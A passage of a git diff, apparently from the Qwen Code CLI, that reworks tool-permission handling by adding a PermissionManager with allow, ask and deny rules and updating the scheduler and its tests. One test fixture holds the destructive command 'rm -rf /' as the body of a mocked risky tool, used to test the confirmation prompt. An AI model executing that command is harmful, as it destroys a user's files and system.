usePermissionsModifyTrust(mockOnExit, mockAddItem), + useTrustModify(mockOnExit, mockAddItem), ); expect(result.current.isInheritedTrustFromIde).toBe(true); @@ -137,7 +137,7 @@ describe('usePermissionsModifyTrust', () => { .mockReturnValueOnce({ isTrusted: true, source: 'file' }); const { result } = renderHook(() => - usePermissionsModifyTrust(mockOnExit, mockAddItem), + useTrustModify(mockOnExit, mockAddItem), ); act(() => { @@ -161,7 +161,7 @@ describe('usePermissionsModifyTrust', () => { }); const { result } = renderHook(() => - usePermissionsModifyTrust(mockOnExit, mockAddItem), + useTrustModify(mockOnExit, mockAddItem), ); act(() => { @@ -188,7 +188,7 @@ describe('usePermissionsModifyTrust', () => { .mockReturnValueOnce({ isTrusted: true, source: 'file' }); const { result } = renderHook(() => - usePermissionsModifyTrust(mockOnExit, mockAddItem), + useTrustModify(mockOnExit, mockAddItem), ); act(() => { @@ -218,7 +218,7 @@ describe('usePermissionsModifyTrust', () => { }); const { result } = renderHook(() => - usePermissionsModifyTrust(mockOnExit, mockAddItem), + useTrustModify(mockOnExit, mockAddItem), ); act(() => { @@ -245,7 +245,7 @@ describe('usePermissionsModifyTrust', () => { }); const { result } = renderHook(() => - usePermissionsModifyTrust(mockOnExit, mockAddItem), + useTrustModify(mockOnExit, mockAddItem), ); act(() => { diff --git a/packages/cli/src/ui/hooks/usePermissionsModifyTrust.ts b/packages/cli/src/ui/hooks/useTrustModify.ts similarity index 98% rename from packages/cli/src/ui/hooks/usePermissionsModifyTrust.ts rename to packages/cli/src/ui/hooks/useTrustModify.ts index f5a10ff38fa2..fa403f61a4c7 100644 --- a/packages/cli/src/ui/hooks/usePermissionsModifyTrust.ts +++ b/packages/cli/src/ui/hooks/useTrustModify.ts @@ -42,7 +42,7 @@ function getInitialTrustState( }; } -export const usePermissionsModifyTrust = ( +export const useTrustModify = ( onExit: () => void, addItem: UseHistoryManagerReturn['addItem'], ) => { diff --git a/packages/core/package.json b/packages/core/package.json index 88e4c5c1dd34..cca5ef21c466 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -25,6 +25,7 @@ "dependencies": { "@anthropic-ai/sdk": "^0.36.1", "@google/genai": "1.30.0", + "@iarna/toml": "^2.2.5", "@modelcontextprotocol/sdk": "^1.25.1", "@opentelemetry/api": "^1.9.0", "@opentelemetry/exporter-logs-otlp-grpc": "^0.203.0", @@ -37,7 +38,6 @@ "@opentelemetry/sdk-node": "^0.203.0", "@types/html-to-text": "^9.0.4", "@xterm/headless": "5.5.0", - "@iarna/toml": "^2.2.5", "ajv": "^8.17.1", "ajv-formats": "^3.0.0", "async-mutex": "^0.5.0", @@ -46,6 +46,7 @@ "chokidar": "^4.0.3", "diff": "^7.0.0", "dotenv": "^17.1.0", + "extract-zip": "^2.0.1", "fast-levenshtein": "^2.0.6", "fast-uri": "^3.0.6", "fdir": "^6.4.6", @@ -61,15 +62,15 @@ "mnemonist": "^0.40.3", "open": "^10.1.2", "openai": "5.11.0", - "prompts": "^2.4.2", "picomatch": "^4.0.1", + "prompts": "^2.4.2", "shell-quote": "^1.8.3", "simple-git": "^3.28.0", "strip-ansi": "^7.1.0", "tar": "^7.5.2", - "extract-zip": "^2.0.1", "undici": "^6.22.0", "uuid": "^9.0.1", + "web-tree-sitter": "^0.24.7", "ws": "^8.18.0" }, "optionalDependencies": { @@ -87,10 +88,11 @@ "@types/fast-levenshtein": "^0.0.4", "@types/minimatch": "^5.1.2", "@types/picomatch": "^4.0.1", - "@types/ws": "^8.5.10", - "@types/tar": "^6.1.13", "@types/prompts": "^2.4.9", + "@types/tar": "^6.1.13", + "@types/ws": "^8.5.10", "msw": "^2.3.4", + "tree-sitter-wasms": "^0.1.13", "typescript": "^5.3.3", "vitest": "^3.1.1" }, diff --git a/packages/core/src/agents/runtime/agent-headless.test.ts b/packages/core/src/agents/runtime/agent-headless.test.ts index 7271eb0945f6..01ff1b040e22 100644 --- a/packages/core/src/agents/runtime/agent-headless.test.ts +++ b/packages/core/src/agents/runtime/agent-headless.test.ts @@ -316,7 +316,8 @@ describe('subagent.ts', () => { name: 'risky_tool', schema: { parametersJsonSchema: { type: 'object', properties: {} } }, build: vi.fn().mockReturnValue({ - shouldConfirmExecute: vi.fn().mockResolvedValue({ + getDefaultPermission: vi.fn().mockResolvedValue('ask'), + getConfirmationDetails: vi.fn().mockResolvedValue({ type: 'exec', title: 'Confirm', command: 'rm -rf /', @@ -347,7 +348,7 @@ describe('subagent.ts', () => { name: 'safe_tool', schema: { parametersJsonSchema: { type: 'object', properties: {} } }, build: vi.fn().mockReturnValue({ - shouldConfirmExecute: vi.fn().mockResolvedValue(null), + getDefaultPermission: vi.fn().mockResolvedValue('allow'), }), }; const { config } = await createMockConfig({ @@ -722,7 +723,7 @@ describe('subagent.ts', () => { params: { path: '.' }, getDescription: vi.fn().mockReturnValue('List files'), toolLocations: vi.fn().mockReturnValue([]), - shouldConfirmExecute: vi.fn().mockResolvedValue(false), + getDefaultPermission: vi.fn().mockResolvedValue('allow'), execute: vi.fn().mockResolvedValue({ llmContent: 'file1.txt\nfile2.ts', returnDisplay: 'Listed 2 files', @@ -1056,7 +1057,7 @@ describe('subagent.ts', () => { params: { path: 'test.txt' }, getDescription: vi.fn().mockReturnValue('Read file'), toolLocations: vi.fn().mockReturnValue([]), - shouldConfirmExecute: vi.fn().mockResolvedValue(false), + getDefaultPermission: vi.fn().mockResolvedValue('allow'), execute: vi.fn().mockImplementation(async () => { executedTools.push('read_file'); return { @@ -1070,7 +1071,7 @@ describe('subagent.ts', () => { params: { path: 'test.txt', content: 'malicious content' }, getDescription: vi.fn().mockReturnValue('Edit file'), toolLocations: vi.fn().mockReturnValue([]), - shouldConfirmExecute: vi.fn().mockResolvedValue(false), + getDefaultPermission: vi.fn().mockResolvedValue('allow'), execute: vi.fn().mockImplementation(async () => { executedTools.push('edit_file'); return { diff --git a/packages/core/src/config/config.ts b/packages/core/src/config/config.ts index 9cbcde2d98f8..4cf4d9a3ed5e 100644 --- a/packages/core/src/config/config.ts +++ b/packages/core/src/config/config.ts @@ -70,6 +70,7 @@ import { ideContextStore } from '../ide/ideContext.js'; import { InputFormat, OutputFormat } from '../output/types.js'; import { PromptRegistry } from '../prompts/prompt-registry.js'; import { SkillManager } from '../skills/skill-manager.js'; +import { PermissionManager } from '../permissions/permission-manager.js'; import { SubagentManager } from '../subagents/subagent-manager.js'; import type { SubagentConfig } from '../subagents/types.js'; import { @@ -105,7 +106,7 @@ import { shouldAttemptBrowserLaunch } from '../utils/browser.js'; import { FileExclusions } from '../utils/ignorePatterns.js'; import { shouldDefaultToNodePty } from '../utils/shell-utils.js'; import { WorkspaceContext } from '../utils/workspaceContext.js'; -import { isToolEnabled, type ToolName } from '../utils/tool-utils.js'; +import { type ToolName } from '../utils/tool-utils.js'; import { getErrorMessage } from '../utils/errors.js'; // Local config modules @@ -326,6 +327,12 @@ export interface ConfigParameters { coreTools?: string[]; allowedTools?: string[]; excludeTools?: string[]; + /** Merged permission rules from all sources (settings + CLI args). */ + permissions?: { + allow?: string[]; + ask?: string[]; + deny?: string[]; + }; toolDiscoveryCommand?: string; toolCallCommand?: string; mcpServerCommand?: string; @@ -419,6 +426,20 @@ export interface ConfigParameters { hooksConfig?: Record; /** Warnings generated during configuration resolution */ warnings?: string[]; + /** + * Callback for persisting a permission rule to settings. + * Injected by the CLI layer; core uses this to write allow/ask/deny rules + * to project or user settings when the user clicks "Always Allow". + * + * @param scope - 'project' for workspace settings, 'user' for user settings. + * @param ruleType - 'allow' | 'ask' | 'deny'. + * @param rule - The raw rule string, e.g. "Bash(git *)" or "Edit". + */ + onPersistPermissionRule?: ( + scope: 'project' | 'user', + ruleType: 'allow' | 'ask' | 'deny', + rule: string, + ) => Promise; } function normalizeConfigOutputFormat( @@ -460,6 +481,7 @@ export class Config { private subagentManager!: SubagentManager; private extensionManager!: ExtensionManager; private skillManager: SkillManager | null = null; + private permissionManager: PermissionManager | null = null; private fileSystemService: FileSystemService; private contentGeneratorConfig!: ContentGeneratorConfig; private contentGeneratorConfigSources: ContentGeneratorConfigSources = {}; @@ -481,6 +503,9 @@ export class Config { private readonly coreTools: string[] | undefined; private readonly allowedTools: string[] | undefined; private readonly excludeTools: string[] | undefined; + private readonly permissionsAllow: string[]; + private readonly permissionsAsk: string[]; + private readonly permissionsDeny: string[]; private readonly toolDiscoveryCommand: string | undefined; private readonly toolCallCommand: string | undefined; private readonly mcpServerCommand: string | undefined; @@ -555,6 +580,11 @@ export class Config { private readonly skipLoopDetection: boolean; private readonly skipStartupContext: boolean; private readonly warnings: string[]; + private readonly onPersistPermissionRuleCallback?: ( + scope: 'project' | 'user', + ruleType: 'allow' | 'ask' | 'deny', + rule: string, + ) => Promise; private initialized: boolean = false; readonly storage: Storage; private readonly fileExclusions: FileExclusions; @@ -595,6 +625,9 @@ export class Config { this.coreTools = params.coreTools; this.allowedTools = params.allowedTools; this.excludeTools = params.excludeTools; + this.permissionsAllow = params.permissions?.allow || []; + this.permissionsAsk = params.permissions?.ask || []; + this.permissionsDeny = params.permissions?.deny || []; this.toolDiscoveryCommand = params.toolDiscoveryCommand; this.toolCallCommand = params.toolCallCommand; this.mcpServerCommand = params.mcpServerCommand; @@ -662,6 +695,7 @@ export class Config { this.skipLoopDetection = params.skipLoopDetection ?? false; this.skipStartupContext = params.skipStartupContext ?? false; this.warnings = params.warnings ?? []; + this.onPersistPermissionRuleCallback = params.onPersistPermissionRule; // Web search this.webSearch = params.webSearch; @@ -894,6 +928,10 @@ export class Config { await this.skillManager.startWatching(); this.debugLogger.debug('Skill manager initialized'); + this.permissionManager = new PermissionManager(this); + this.permissionManager.initialize(); + this.debugLogger.debug('Permission manager initialized'); + // Load session subagents if they were provided before initialization if (this.sessionSubagents.length > 0) { this.subagentManager.loadSessionSubagents(this.sessionSubagents); @@ -1281,6 +1319,10 @@ export class Config { return this.targetDir; } + getCwd(): string { + return this.targetDir; + } + getWorkspaceContext(): WorkspaceContext { return this.workspaceContext; } @@ -1333,16 +1375,60 @@ export class Config { return this.appendSystemPrompt; } + /** @deprecated Use getPermissionsAllow() instead. */ getCoreTools(): string[] | undefined { return this.coreTools; } - getAllowedTools(): string[] | undefined { - return this.allowedTools; + /** + * Returns the merged allow-rules for PermissionManager. + * + * This merges all sources so that PermissionManager receives a single, + * authoritative list: + * - settings.permissions.allow (persistent rules from all scopes) + * - allowedTools param (SDK / argv auto-approve list) + * + * Note: coreTools is intentionally excluded here — it has whitelist semantics + * (only listed tools are registered), not auto-approve semantics. It is + * handled separately via PermissionManager.coreToolsAllowList. + * + * CLI callers (loadCliConfig) already pre-merge argv into permissionsAllow + * before constructing Config, so those fields will be empty for CLI usage. + * SDK callers construct Config directly and rely on allowedTools. + */ + getPermissionsAllow(): string[] { + const base = this.permissionsAllow ?? []; + const sdkAllow = [...(this.allowedTools ?? [])]; + if (sdkAllow.length === 0) return base.length > 0 ? base : []; + const merged = [...base]; + for (const t of sdkAllow) { + if (t && !merged.includes(t)) merged.push(t); + } + return merged; } - getExcludeTools(): string[] | undefined { - return this.excludeTools; + getPermissionsAsk(): string[] { + return this.permissionsAsk; + } + + /** + * Returns the merged deny-rules for PermissionManager. + * + * Merges: + * - settings.permissions.deny (persistent rules from all scopes) + * - excludeTools param (SDK / argv blocklist) + * + * CLI callers pre-merge argv.excludeTools into permissionsDeny. + */ + getPermissionsDeny(): string[] { + const base = this.permissionsDeny ?? []; + const sdkDeny = this.excludeTools ?? []; + if (sdkDeny.length === 0) return base.length > 0 ? base : []; + const merged = [...base]; + for (const t of sdkDeny) { + if (t && !merged.includes(t)) merged.push(t); + } + return merged; } getToolDiscoveryCommand(): string | undefined { @@ -1974,6 +2060,24 @@ export class Config { return this.skillManager; } + getPermissionManager(): PermissionManager | null { + return this.permissionManager; + } + + /** + * Returns the callback for persisting permission rules to settings files. + * Returns undefined if no callback was provided (e.g. SDK mode). + */ + getOnPersistPermissionRule(): + | (( + scope: 'project' | 'user', + ruleType: 'allow' | 'ask' | 'deny', + rule: string, + ) => Promise) + | undefined { + return this.onPersistPermissionRuleCallback; + } + async createToolRegistry( sendSdkMcpMessage?: SendSdkMcpMessage, options?: { skipDiscovery?: boolean }, @@ -1984,9 +2088,6 @@ export class Config { sendSdkMcpMessage, ); - const coreToolsConfig = this.getCoreTools(); - const excludeToolsConfig = this.getExcludeTools(); - // Helper to create & register core tools that are enabled // eslint-disable-next-line @typescript-eslint/no-explicit-any const registerCoreTool = (ToolClass: any, ...args: unknown[]) => { @@ -2002,7 +2103,13 @@ export class Config { return; } - if (isToolEnabled(toolName, coreToolsConfig, excludeToolsConfig)) { + // PermissionManager handles both the coreTools allowlist (registry-level) + // and deny rules (runtime-level) in a single check. + const pmEnabled = this.permissionManager + ? this.permissionManager.isToolEnabled(toolName) + : true; // Should never reach here after initialize(), but safe default. + + if (pmEnabled) { try { registry.registerTool(new ToolClass(...args)); } catch (error) { diff --git a/packages/core/src/config/storage.ts b/packages/core/src/config/storage.ts index f0b80d88cd71..2697054a4405 100644 --- a/packages/core/src/config/storage.ts +++ b/packages/core/src/config/storage.ts @@ -146,6 +146,15 @@ export class Storage { ); } + /** + * Returns the user-level extensions directory (~/.qwen/extensions/). + * Extensions installed at user scope are stored here, as opposed to + * project-level extensions which live in /.qwen/extensions/. + */ + static getUserExtensionsDir(): string { + return path.join(Storage.getGlobalQwenDir(), 'extensions'); + } + getHistoryFilePath(): string { return path.join(this.getProjectTempDir(), 'shell_history'); } diff --git a/packages/core/src/core/coreToolScheduler.test.ts b/packages/core/src/core/coreToolScheduler.test.ts index 96a1a47d22ba..65c614616d5c 100644 --- a/packages/core/src/core/coreToolScheduler.test.ts +++ b/packages/core/src/core/coreToolScheduler.test.ts @@ -15,6 +15,7 @@ import type { ToolResultDisplay, ToolRegistry, } from '../index.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { ApprovalMode, BaseDeclarativeTool, @@ -34,7 +35,8 @@ import type { Part, PartListUnion } from '@google/genai'; import { MockModifiableTool, MockTool, - MOCK_TOOL_SHOULD_CONFIRM_EXECUTE, + MOCK_TOOL_GET_DEFAULT_PERMISSION, + MOCK_TOOL_GET_CONFIRMATION_DETAILS, } from '../test-utils/mock-tool.js'; import { MessageBusType } from '../confirmation-bus/types.js'; import type { HookExecutionResponse } from '../confirmation-bus/types.js'; @@ -84,14 +86,14 @@ class TestApprovalInvocation extends BaseToolInvocation< return `Test tool ${this.params.id}`; } - override async shouldConfirmExecute(): Promise< - ToolCallConfirmationDetails | false - > { - // Need confirmation unless approval mode is AUTO_EDIT + override async getDefaultPermission(): Promise { if (this.config.getApprovalMode() === ApprovalMode.AUTO_EDIT) { - return false; + return 'allow'; } + return 'ask'; + } + override async getConfirmationDetails(): Promise { return { type: 'edit', title: `Confirm Test Tool ${this.params.id}`, @@ -128,9 +130,13 @@ class AbortDuringConfirmationInvocation extends BaseToolInvocation< super(params); } - override async shouldConfirmExecute( + override async getDefaultPermission(): Promise { + return 'ask'; + } + + override async getConfirmationDetails( _signal: AbortSignal, - ): Promise { + ): Promise { this.abortController.abort(); throw this.abortError; } @@ -214,7 +220,8 @@ describe('CoreToolScheduler', () => { it('should cancel a tool call if the signal is aborted before confirmation', async () => { const mockTool = new MockTool({ name: 'mockTool', - shouldConfirmExecute: MOCK_TOOL_SHOULD_CONFIRM_EXECUTE, + getDefaultPermission: MOCK_TOOL_GET_DEFAULT_PERMISSION, + getConfirmationDetails: MOCK_TOOL_GET_CONFIRMATION_DETAILS, }); const declarativeTool = mockTool; const mockToolRegistry = { @@ -239,7 +246,7 @@ describe('CoreToolScheduler', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.DEFAULT, - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -318,7 +325,7 @@ describe('CoreToolScheduler', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.DEFAULT, - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -380,7 +387,7 @@ describe('CoreToolScheduler', () => { getToolRegistry: () => mockToolRegistry, getUseModelRouter: () => false, getGeminiClient: () => null, // No client needed for these tests - getExcludeTools: () => undefined, + getPermissionsDeny: () => undefined, isInteractive: () => true, getMessageBus: vi.fn().mockReturnValue(undefined), getEnableHooks: vi.fn().mockReturnValue(false), @@ -423,7 +430,7 @@ describe('CoreToolScheduler', () => { getToolRegistry: () => mockToolRegistry, getUseModelRouter: () => false, getGeminiClient: () => null, - getExcludeTools: () => ['write_file', 'edit', 'run_shell_command'], + getPermissionsDeny: () => ['write_file', 'edit', 'run_shell_command'], isInteractive: () => false, // Value doesn't matter, but included for completeness getMessageBus: vi.fn().mockReturnValue(undefined), getEnableHooks: vi.fn().mockReturnValue(false), @@ -455,7 +462,7 @@ describe('CoreToolScheduler', () => { getToolRegistry: () => mockToolRegistry, getUseModelRouter: () => false, getGeminiClient: () => null, - getExcludeTools: () => ['write_file', 'edit'], + getPermissionsDeny: () => ['write_file', 'edit'], isInteractive: () => false, // Value doesn't matter getMessageBus: vi.fn().mockReturnValue(undefined), getEnableHooks: vi.fn().mockReturnValue(false), @@ -498,7 +505,7 @@ describe('CoreToolScheduler', () => { getToolRegistry: () => mockToolRegistry, getUseModelRouter: () => false, getGeminiClient: () => null, - getExcludeTools: () => undefined, + getPermissionsDeny: () => undefined, isInteractive: () => true, getMessageBus: vi.fn().mockReturnValue(undefined), getEnableHooks: vi.fn().mockReturnValue(false), @@ -560,8 +567,8 @@ describe('CoreToolScheduler', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.DEFAULT, - getAllowedTools: () => [], - getExcludeTools: () => ['write_file', 'edit', 'run_shell_command'], + getPermissionsAllow: () => [], + getPermissionsDeny: () => ['write_file', 'edit', 'run_shell_command'], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -648,8 +655,8 @@ describe('CoreToolScheduler', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.DEFAULT, - getAllowedTools: () => [], - getExcludeTools: () => ['write_file', 'edit'], // Different excluded tools + getPermissionsAllow: () => [], + getPermissionsDeny: () => ['write_file', 'edit'], // Different excluded tools getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -740,7 +747,7 @@ describe('CoreToolScheduler with payload', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.DEFAULT, - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -1017,9 +1024,13 @@ class MockEditToolInvocation extends BaseToolInvocation< return 'A mock edit tool invocation'; } - override async shouldConfirmExecute( + override async getDefaultPermission(): Promise { + return 'ask'; + } + + override async getConfirmationDetails( _abortSignal: AbortSignal, - ): Promise { + ): Promise { return { type: 'edit', title: 'Confirm Edit', @@ -1081,7 +1092,7 @@ describe('CoreToolScheduler edit cancellation', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.DEFAULT, - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -1161,7 +1172,8 @@ describe('CoreToolScheduler YOLO mode', () => { const mockTool = new MockTool({ name: 'mockTool', execute: executeFn, - shouldConfirmExecute: MOCK_TOOL_SHOULD_CONFIRM_EXECUTE, + getDefaultPermission: MOCK_TOOL_GET_DEFAULT_PERMISSION, + getConfirmationDetails: MOCK_TOOL_GET_CONFIRMATION_DETAILS, }); const declarativeTool = mockTool; @@ -1189,7 +1201,7 @@ describe('CoreToolScheduler YOLO mode', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.YOLO, - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -1434,7 +1446,7 @@ describe('CoreToolScheduler request queueing', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.YOLO, // Use YOLO to avoid confirmation prompts - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -1530,120 +1542,6 @@ describe('CoreToolScheduler request queueing', () => { expect(onAllToolCallsComplete.mock.calls[1][0][0].status).toBe('success'); }); - it('should auto-approve a tool call if it is on the allowedTools list', async () => { - // Arrange - const executeFn = vi.fn().mockResolvedValue({ - llmContent: 'Tool executed', - returnDisplay: 'Tool executed', - }); - const mockTool = new MockTool({ - name: 'mockTool', - execute: executeFn, - shouldConfirmExecute: MOCK_TOOL_SHOULD_CONFIRM_EXECUTE, - }); - const declarativeTool = mockTool; - - const toolRegistry = { - getTool: () => declarativeTool, - getToolByName: () => declarativeTool, - getFunctionDeclarations: () => [], - tools: new Map(), - discovery: {}, - registerTool: () => {}, - getToolByDisplayName: () => declarativeTool, - getTools: () => [], - discoverTools: async () => {}, - getAllTools: () => [], - getToolsByServer: () => [], - } as unknown as ToolRegistry; - - const onAllToolCallsComplete = vi.fn(); - const onToolCallsUpdate = vi.fn(); - - // Configure the scheduler to auto-approve the specific tool call. - const mockConfig = { - getSessionId: () => 'test-session-id', - getUsageStatisticsEnabled: () => true, - getDebugMode: () => false, - getApprovalMode: () => ApprovalMode.DEFAULT, // Not YOLO mode - getAllowedTools: () => ['mockTool'], // Auto-approve this tool - getToolRegistry: () => toolRegistry, - getContentGeneratorConfig: () => ({ - model: 'test-model', - authType: 'gemini', - }), - getShellExecutionConfig: () => ({ - terminalWidth: 80, - terminalHeight: 24, - }), - getTerminalWidth: vi.fn(() => 80), - getTerminalHeight: vi.fn(() => 24), - storage: { - getProjectTempDir: () => '/tmp', - }, - getTruncateToolOutputThreshold: () => - DEFAULT_TRUNCATE_TOOL_OUTPUT_THRESHOLD, - getTruncateToolOutputLines: () => DEFAULT_TRUNCATE_TOOL_OUTPUT_LINES, - getUseModelRouter: () => false, - getGeminiClient: () => null, // No client needed for these tests - getChatRecordingService: () => undefined, - getMessageBus: vi.fn().mockReturnValue(undefined), - getEnableHooks: vi.fn().mockReturnValue(false), - } as unknown as Config; - - const scheduler = new CoreToolScheduler({ - config: mockConfig, - onAllToolCallsComplete, - onToolCallsUpdate, - getPreferredEditor: () => 'vscode', - onEditorClose: vi.fn(), - }); - - const abortController = new AbortController(); - const request = { - callId: '1', - name: 'mockTool', - args: { param: 'value' }, - isClientInitiated: false, - prompt_id: 'prompt-auto-approved', - }; - - // Act - await scheduler.schedule([request], abortController.signal); - - // Wait for the tool execution to complete - await vi.waitFor(() => { - expect(onAllToolCallsComplete).toHaveBeenCalled(); - }); - - // Assert - // 1. The tool's execute method was called directly. - expect(executeFn).toHaveBeenCalledWith({ param: 'value' }); - - // 2. The tool call status never entered 'awaiting_approval'. - const statusUpdates = onToolCallsUpdate.mock.calls - .map((call) => (call[0][0] as ToolCall)?.status) - .filter(Boolean); - expect(statusUpdates).not.toContain('awaiting_approval'); - expect(statusUpdates).toEqual([ - 'validating', - 'scheduled', - 'executing', - 'success', - ]); - - // 3. The final callback indicates the tool call was successful. - expect(onAllToolCallsComplete).toHaveBeenCalled(); - const completedCalls = onAllToolCallsComplete.mock - .calls[0][0] as ToolCall[]; - expect(completedCalls).toHaveLength(1); - const completedCall = completedCalls[0]; - expect(completedCall.status).toBe('success'); - if (completedCall.status === 'success') { - expect(completedCall.response.resultDisplay).toBe('Tool executed'); - } - }); - it('should handle two synchronous calls to schedule', async () => { const executeFn = vi.fn().mockResolvedValue({ llmContent: 'Tool executed', @@ -1672,7 +1570,7 @@ describe('CoreToolScheduler request queueing', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.YOLO, - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -1748,7 +1646,7 @@ describe('CoreToolScheduler request queueing', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => approvalMode, - getAllowedTools: () => [], + getPermissionsAllow: () => [], setApprovalMode: (mode: ApprovalMode) => { approvalMode = mode; }, @@ -1912,8 +1810,8 @@ describe('CoreToolScheduler truncated output protection', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.AUTO_EDIT, - getAllowedTools: () => [], - getExcludeTools: () => undefined, + getPermissionsAllow: () => [], + getPermissionsDeny: () => undefined, getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -2113,7 +2011,7 @@ describe('CoreToolScheduler Sequential Execution', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.YOLO, // Use YOLO to avoid confirmation prompts - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -2235,7 +2133,7 @@ describe('CoreToolScheduler Sequential Execution', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.YOLO, - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -2336,7 +2234,8 @@ describe('CoreToolScheduler plan mode with ask_user_question', () => { return new MockTool({ name: 'ask_user_question', - shouldConfirmExecute: async () => ({ + getDefaultPermission: async () => 'ask', + getConfirmationDetails: async () => ({ type: 'ask_user_question' as const, title: 'Please answer the following question(s):', questions: [ @@ -2407,7 +2306,7 @@ describe('CoreToolScheduler plan mode with ask_user_question', () => { getUsageStatisticsEnabled: () => true, getDebugMode: () => false, getApprovalMode: () => ApprovalMode.PLAN, - getAllowedTools: () => [], + getPermissionsAllow: () => [], getContentGeneratorConfig: () => ({ model: 'test-model', authType: 'gemini', @@ -2545,7 +2444,8 @@ describe('CoreToolScheduler plan mode with ask_user_question', () => { it('should block non-ask_user_question tools that need confirmation in plan mode', async () => { const editTool = new MockTool({ name: 'write_file', - shouldConfirmExecute: MOCK_TOOL_SHOULD_CONFIRM_EXECUTE, + getDefaultPermission: MOCK_TOOL_GET_DEFAULT_PERMISSION, + getConfirmationDetails: MOCK_TOOL_GET_CONFIRMATION_DETAILS, }); const onAllToolCallsComplete = vi.fn(); const onToolCallsUpdate = vi.fn(); diff --git a/packages/core/src/core/coreToolScheduler.ts b/packages/core/src/core/coreToolScheduler.ts index e061f7251e03..7cc5c9099ed3 100644 --- a/packages/core/src/core/coreToolScheduler.ts +++ b/packages/core/src/core/coreToolScheduler.ts @@ -49,6 +49,7 @@ import type { PartListUnion, } from '@google/genai'; import { ToolNames } from '../tools/tool-names.js'; +import { buildPermissionRules } from '../permissions/rule-parser.js'; import { getResponseTextFromParts } from '../utils/generateContentResponseUtilities.js'; import type { ModifyContext } from '../tools/modifiable-tool.js'; import { @@ -56,7 +57,7 @@ import { modifyWithEditor, } from '../tools/modifiable-tool.js'; import * as Diff from 'diff'; -import { doesToolInvocationMatch } from '../utils/tool-utils.js'; +import * as path from 'node:path'; import levenshtein from 'fast-levenshtein'; import { getPlanModeSystemReminder } from './prompts.js'; import { ShellToolInvocation } from '../tools/shell.js'; @@ -698,27 +699,44 @@ export class CoreToolScheduler { (reqInfo): ToolCall => { // Check if the tool is excluded due to permissions/environment restrictions // This check should happen before registry lookup to provide a clear permission error - const excludeTools = this.config.getExcludeTools?.() ?? undefined; - if (excludeTools && excludeTools.length > 0) { - const normalizedToolName = reqInfo.name.toLowerCase().trim(); - const excludedMatch = excludeTools.find( - (excludedTool) => - excludedTool.toLowerCase().trim() === normalizedToolName, - ); + const pm = this.config.getPermissionManager?.(); + if (pm && !pm.isToolEnabled(reqInfo.name)) { + const permissionErrorMessage = `Qwen Code requires permission to use "${reqInfo.name}", but that permission was declined.`; + return { + status: 'error', + request: reqInfo, + response: createErrorResponse( + reqInfo, + new Error(permissionErrorMessage), + ToolErrorType.EXECUTION_DENIED, + ), + durationMs: 0, + }; + } - if (excludedMatch) { - // The tool exists but is excluded - return permission error directly - const permissionErrorMessage = `Qwen Code requires permission to use ${excludedMatch}, but that permission was declined.`; - return { - status: 'error', - request: reqInfo, - response: createErrorResponse( - reqInfo, - new Error(permissionErrorMessage), - ToolErrorType.EXECUTION_DENIED, - ), - durationMs: 0, - }; + // Legacy fallback: check getPermissionsDeny() when PM is not available + if (!pm) { + const excludeTools = + this.config.getPermissionsDeny?.() ?? undefined; + if (excludeTools && excludeTools.length > 0) { + const normalizedToolName = reqInfo.name.toLowerCase().trim(); + const excludedMatch = excludeTools.find( + (excludedTool) => + excludedTool.toLowerCase().trim() === normalizedToolName, + ); + if (excludedMatch) { + const permissionErrorMessage = `Qwen Code requires permission to use ${excludedMatch}, but that permission was declined.`; + return { + status: 'error', + request: reqInfo, + response: createErrorResponse( + reqInfo, + new Error(permissionErrorMessage), + ToolErrorType.EXECUTION_DENIED, + ), + durationMs: 0, + }; + } } } @@ -808,10 +826,86 @@ export class CoreToolScheduler { continue; } - const confirmationDetails = - await invocation.shouldConfirmExecute(signal); + // ================================================================= + // L3→L4→L5 Permission Flow + // ================================================================= + + // ---- L3: Tool's default permission ---- + const defaultPermission: string = + await invocation.getDefaultPermission(); + + // ---- L4: PermissionManager override (if relevant rules exist) ---- + const pm = this.config.getPermissionManager?.(); + let finalPermission = defaultPermission; + let pmForcedAsk = false; + + // Build invocation context from tool params. + // This is used both by the PM evaluation below and later by + // 